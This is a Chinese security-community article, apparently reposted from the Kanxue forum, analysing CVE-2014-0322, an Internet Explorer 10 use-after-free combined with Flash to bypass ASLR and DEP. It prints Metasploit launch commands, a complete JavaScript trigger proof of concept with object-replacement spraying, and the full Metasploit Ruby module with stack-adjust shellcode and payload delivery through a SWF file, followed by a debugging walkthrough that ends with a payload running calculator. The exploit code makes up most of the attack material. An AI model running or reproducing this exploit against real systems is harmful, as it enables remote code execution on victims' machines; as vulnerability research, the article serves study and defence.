微信号:ikanxue

介绍:致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号.

CVE-2014-0322 IE与Flash结合利用 绕过ASLR+DEP

2018-12-01 17:58 来杯柠檬红茶

前言


Flashhtml结合利用在前几年的攻防对抗中非常火爆,Flash使用的脚本语言是ActionScript,Html使用的是JavaScript,两种脚本语言各有其特性,ActionScript通过Vector<uint>对内存读写数据来定位模块基址以及堆喷射,JavaScript通过字符串占位来覆盖释放后的对象, 最后调用shellcode的任务是ActionScript完成的 ,其实一开始我也比较困惑,既然漏洞是JavaScript代码造成的,那Shellcode怎么会是ActionScript执行的?这也是这个漏洞利用有趣的地方!


漏洞详情:


Use-after-free vulnerability in Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code via vectors involving crafted JavaScript code, CMarkup, and the onpropertychange attribute of a script element, as exploited in the wild in January and February 2014.


实验环境


  • 攻击机操作系统:Windows 10

  • 目标机操作系统:Windows 7 sp1 32位

  • 浏览器:IE10.0.9200.16438

  • FLASH版本: Flashplayer12

  • 调试器: IDA、x64dbg

  • 其他工具:Metasploit



漏洞验证


Metasploit开启HTTP服务器:


攻击机cmd中输入ipconfig查询本机ip为192.168.1.101


攻击机cmd打开metasploit控制台启动攻击所需的HTTP服务器


使用的命令如下:


1. msfconsole
2. use exploit/windows/browser/ms14_012_cmarkup_uaf
3. set SRVHOST 192.168.1.101
4. set payload windows/exec
5. set CMD calc.exe
6. exploit


目标机进入指定的URL链接:




漏洞分析


异常poc:

<html>
<head>
</head>
<body>
<script>
 
var g_arr = [];
var arrLen = 0x250;
function dword2data(dword)
{
   var d = Number(dword).toString(16);
   while (d.length < 8)
       d = '0' + d;
   return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
 
function eXpl()
{
   var a=0;
   for (a=0; a < arrLen; a++) {
       g_arr[a] = document.createElement('div');
   }
   // Build a new object
   var b = dword2data(0x19fffff3);
   while (b.length < 0x360)
   {
       // mov     eax,dword ptr [esi+98h]
       // ...
       // mov     eax,dword ptr [eax+8]
       // and     dword ptr [eax+2F0h],0FFFFFFBFh
       if (b.length == (0x98 / 2))
       {  
           b += dword2data(0x1a000010);
       }  
       // mov     ecx,dword ptr [edx+94h]
       // mov     eax,dword ptr [ecx+0Ch]
       else if (b.length == (0x94 / 2))
       {  
           b += dword2data(0x1a111111);
       }  
       // mov     eax,dword ptr [edx+15Ch]
       // mov     ecx,dword ptr [eax+edx*8]
       else if (b.length == (0x15c / 2))
       {  
           b += dword2data(0x42424242);
       }  
       else
       {  
           b += dword2data(0x19fffff3);
       }  
   }  
   
   var d = b.substring(0, (0x340 - 0x8) / 2);
   // trigger
   try{
       this.outerHTML=this.outerHTML
   }  
   catch(e){
   }  
   CollectGarbage();
   // Replace freed object
   for (a=0; a < arrLen; a++)
   {  
       g_arr[a].title = d.substring(0, d.length);
   }  
}

// Trigger the vulnerability
function trigger()
{
   var a = document.getElementsByTagName("script");
   var b = a[0];
   b.onpropertychange = eXpl;
   var c = document.createElement('SELECT');
   c = b.appendChild(c);
}
trigger();
</script>
</body>
</html>


收集异常时基本信息:


浏览器载入poc代码,x64dbg附加进程,运行后断到0x649F1B97, 看下EDX处内存,发现已经被覆盖,如果异常时EDX指向的堆中的数值没有出现被覆盖的情况,那也是正常的,多加载几次poc总能撞出一次的,这是因为title属性占位成功几率有点感人,大家凑合着用吧。


IDA看下这个异常函数, 函数名为CMarkup::UpdateMarkupContentsVersion,EDX很明显是对象指针,从这个情况分析是CMarkup对象释放后被占位了。


创建CMarkup对象代码在CDoc::CreateMarkupFromInfo函数中。


CDoc::CreateMarkupFromInfo下断,根据栈回溯信息来看,创建这个CMarkup对象的JavaScript代码为 c = b.appendChild(c);


CMarkup的释放由CMarkup::`scalar deleting destructor函数完成。


CMarkup释放函数下断,断下来后发现是设置outerHTML属性导致的释放的。



简单总结:


根据之前异常和调试收集来的信息,在JavaScript中 c = b.appendChild(c) 执行时创建CMarkup,this.outerHTML=this.outerHTML导致释放CMarkup,而释放后的占位是g_arr[a].title = d.substring(0, d.length) 完成的;


考虑到后面还有Exploit开发,为了避免篇幅太长,只做一个简单的分析,对字符串占位原理不了解的可以去看我之前分析极光漏洞的帖子;



Exploit分析:


由于metasploit中已经有很好的利用代码了,所以也就懒得自己写了,下面主要对ruby模块代码和Flash的ActionScript脚本代码进行分析。


Exploit模块代码:


代码位置在:


Metasploit-framework\embedded\framework\modules\exploits\windows\browser\ms14_012_cmarkup_uaf.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::BrowserExploitServer

 def initialize(info={})
   super(update_info(info,
     'Name'           => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
     'Description'    => %q{
       This module exploits an use after free condition on Internet Explorer as used in the wild
       as part of "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
       bypass ASLR and DEP.
     }
,
     'License'        => MSF_LICENSE,
     'Author'         =>
       [
         'Unknown', # Vulnerability discovery and Exploit in the wild
         'Jean-Jamil Khalife', # Exploit
         'juan vazquez' # Metasploit module
       ],
     'References'     =>
       [
         [ 'CVE', '2014-0322' ],
         [ 'MSB', 'MS14-012' ],
         [ 'BID', '65551' ],
         [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
         [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
       ],
     'Platform'       => 'win',
     'Arch'           => ARCH_X86,
     'Payload'        =>
       {
         'Space'          => 960,
         'DisableNops'    => true,
         'PrependEncoder' => stack_adjust
       },
     'BrowserRequirements' =>
       {
         :source      => /script|headers/i,
         :os_name     => 'Windows 7',
         :ua_name     => Msf::HttpClients::IE,
         :ua_ver      => '10.0',
         :mshtml_build => lambda { |ver| ver.to_i < 16843 },
         :flash       => /^1[23]\./
       },
     'DefaultOptions' =>
       {
         'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
         'Retries'              => false
       },
     'Targets'        =>
       [
         [ 'Windows 7 SP1 / IE 10 / FP 12', { } ],
       ],
     'Privileged'     => false,
     'DisclosureDate' => "Feb 13 2014",
     'DefaultTarget'  => 0))

 end

 def stack_adjust
   adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
   adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
   adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
   adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

   adjust
 end

 def create_swf
   path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )
   fd = ::File.open( path, "rb" )
   swf = fd.read(fd.stat.size)
   fd.close
   return swf
 end

 def exploit
   @swf = create_swf
   super
 end

 def on_request_uri(cli, request)
   print_status("Request: #{request.uri}")

   if request.uri =~ /\.swf$/
     print_status("Sending SWF...")
     send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
     return
   end

   super
 end

 def on_request_exploit(cli, request, target_info)
   print_status("Sending HTML...")
   send_exploit_html(cli, exploit_template(cli, target_info))
 end

 def exploit_template(cli, target_info)

   flash_payload = ""
   padded_payload = get_payload(cli,target_info)

   while padded_payload.length % 4 != 0
     padded_payload += "\x00"
   end

   padded_payload.unpack("V*").each do |i|
     flash_payload << "0x#{i.to_s(16)},"
   end
   flash_payload.gsub!(/,$/, "")

   html_template = %Q|
   <html>
   <head>
   </head>
   <body>

   <script>

   var g_arr = [];
   var arrLen = 0x250;

   function dword2data(dword)
   {
     var d = Number(dword).toString(16);
     while (d.length < 8)
       d = '0' + d;

     return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
   }

   function eXpl()
   {
     var a=0;

     for (a=0; a < arrLen; a++) {
         g_arr[a] = document.createElement('div');
     }

     var b = dword2data(0x19fffff3);

     while (b.length < 0x3600) {
       if (b.length == (0x98 / 2))
       {
         b += dword2data(0x1a000010);
       }
       else if (b.length == (0x94 / 2))
       {
         b += dword2data(0x1a111111);
       }
       else if (b.length == (0x15c / 2))
       {
         b += dword2data(0x42424242);
       }
       else
       {
         b += dword2data(0x19fffff3);
       }
     }

     var d = b.substring(0, ( 0x340 - 2 )/2);

     try{
       this.outerHTML=this.outerHTML
     } catch(e){

     }

     CollectGarbage();

     for (a=0; a < arrLen; a++)
       {
         g_arr[a].title = d.substring(0, d.length);
       }
   }

   function trigger()
   {
       var a = document.getElementsByTagName("script");
       var b = a[0];
       b.onpropertychange = eXpl;
       var c = document.createElement('SELECT');
       c = b.appendChild(c);
   }

   </script>
   <embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">
   </embed>
   </body>
   </html>
   |


   return html_template, binding()
 end
end


Ruby代码浅析:


MetasploitModule是类名,继承自Msf::Exploit::Remote,包含BrowserExploitServer模块,BrowserExploitServer是一个浏览器专用的模块,包含了HttpServer 、 HttpServer :: HTML功能,在initialize函数中则定义了模块的基本信息,利用要求在BrowserRequirements元数据中定义;


create_swf函数负责读取盘中的AsXploit.swf到内存;


on_request_uri函数响应URI操作请求,加载swf文件时会发送此请求,这个函数返回swf脚本到目标机;


on_request_exploit函数响应exploit请求,当浏览器输入http服务器地址并进入时会发送此请求,这个函数返回HTML代码到目标机;


exploit_template函数获取HTML代码模板;



HTML代码浅析:


HTML代码前面做漏洞验证的时候已经分析过了,在这里需要说明的是,swf文件由embed标签中的代码加载,FlashVars是启动swf脚本的参数,这里把payload传进去,后面设置的widthheight是显示的宽度和高度;



ActionScript脚本语言代码:


代码位置在:


Metasploit-framework\embedded\framework\external\source\exploits\CVE-2014-0322\AsXploit.as;


代码最长最难理解的就是ActionScript部分,这里的代码又长又晦涩,理解这部分代码确实需要一定的耐心,那么废话不多说了,还是开始主要内容吧;


package可以理解为一个闭包, 在创建闭包后使用import导入了一系列脚本运行所需的模块,AsXploit是这个脚本主要的类,当脚本启动时会先进入AsXploit的构造函数,这个构造函数就相当与C语言的main


AsXploit构造函数:


堆喷射函数:


timerHandler()定时器回调函数:


getFlashBaseAddr()函数:


getSP()函数:



buildPayload()函数:


Exploit调试验证:

IE输入HTTP服务器地址后断到异常处,这里把ActionScript容器的长度改为0x010003F0,这样定时器的回调函数就会知道内存已经被占位,可以放心的开始利用了。


在内存1中跳转到0x1A001008处下个内存写入断点,断这里的目的是为了拿到切栈指令的地址。


断下来后发现写入了0x64573468,接下来在汇编中go过去看看,就可以看到一条明显的切栈指令,执行完就ret


删除内存写入断点后对切栈指令下软断, F9直接运行。


切栈指令断下来后直接F7,观察栈区,很明显要ret到VirtualProtect函数改变内存属性了。


VirtualProtect执行完后直接ret到Shellcode


F7一下直接就返回到了Shellcode首地址。


F9运行计算器直接弹出!



- End -



看雪ID:来杯柠檬红茶                                

https://bbs.pediy.com/user-763252.htm


本文由 来杯柠檬红茶 原创

转载请注明来自看雪社区




热门技术文章推荐:






公众号ID:ikanxue
官方微博:看雪安全

商务合作:wsc@kanxue.com


 
看雪学院 更多文章 Glibc Heap 利用之初识 Unlink 小米4手机板砖修复 Win7 x86 SSDT Inline Hook CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP 初识堆喷射及事例(暴雷漏洞)分析
猜您喜欢 【专家专栏】宋佳蕙 | 用户访谈技巧-自曝式 第一章 : Android Studio 介绍 (A) 【千锋10月就业榜】千锋教育2014年10月学员就业榜 薪资14000拿到手 负载均衡(一)——初始负载均衡 MySQL常用的函数